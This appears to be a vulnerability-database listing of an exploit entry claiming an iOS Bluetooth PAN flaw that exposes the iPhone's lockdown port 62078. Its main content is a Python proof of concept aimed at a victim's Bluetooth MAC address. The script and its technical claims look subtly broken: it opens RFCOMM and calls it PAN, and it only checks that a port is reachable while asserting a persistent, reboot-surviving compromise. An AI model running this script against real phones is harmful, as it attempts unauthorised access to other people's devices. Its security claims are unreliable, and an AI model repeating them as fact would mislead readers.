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iOS Bluetooth PAN Exploit - Ethernet Gateway without Adapter

🗓️ 07 Jul 2026 00:00:00Reported by Fares DahoumaneType 
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Exploits iPhone Bluetooth network to open USB port 62078 without adapters.

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# Exploit Title: iOS Bluetooth PAN - Zero-Cost Ethernet Gateway (USB Port 62078)
# Date: 2026-06-23
# Exploit Author: Fares Dahoumane (Silent Killer)
# Vendor Homepage: https://www.apple.com/
# Software Link: https://www.apple.com/ios/
# Version: iOS 17 and later
# Tested on: iPhone 14 Pro (iOS 17.5.1), macOS Ventura 13.6
# CVE : N/A (Apple closed the case without assigning a CVE)
# Reference: https://github.com/F4R3SX0/iOS-Bluetooth-Ethernet-Exploit

# Description:
# A logic flaw in Apple's iOS Bluetooth PAN stack allows an attacker to force an 
# iPhone to display a real "Ethernet" icon and open the core USB port (62078) 
# over Bluetooth without any cable or adapter. The attack costs €0 to execute, 
# while Apple sells the Satechi Multiport Pro V2 adapter for €89.95 to achieve 
# the same result. The connection persists after reboot and password changes.

# Proof of Concept (Python):

import bluetooth
import socket
import time

# Replace with the victim's iPhone Bluetooth MAC address
TARGET_MAC = "XX:XX:XX:XX:XX:XX"
USB_PORT = 62078

def create_pan_connection(mac_address):
    """
    Create a Bluetooth PAN connection to the target iPhone.
    This triggers the opening of USB port 62078 and displays the Ethernet icon.
    """
    try:
        # Establish Bluetooth PAN connection
        sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        sock.connect((mac_address, 1))  # PAN service
        print(f"[+] PAN connection established to {mac_address}")
        
        # Wait for the system to open the USB port
        time.sleep(2)
        
        # Attempt to connect to USB port (62078) over the PAN network
        usb_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        usb_sock.settimeout(5)
        
        # The iPhone's IP address on the PAN network is typically 172.20.10.x
        usb_sock.connect(("172.20.10.1", USB_PORT))
        print(f"[+] USB port {USB_PORT} is now open and reachable!")
        print("[+] Ethernet icon should now be visible on the target iPhone.")
        
        usb_sock.close()
        sock.close()
        
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    print("[*] iOS Bluetooth PAN Exploit - Zero-Cost Ethernet Gateway")
    print("[*] Target MAC: " + TARGET_MAC)
    create_pan_connection(TARGET_MAC)

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07 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
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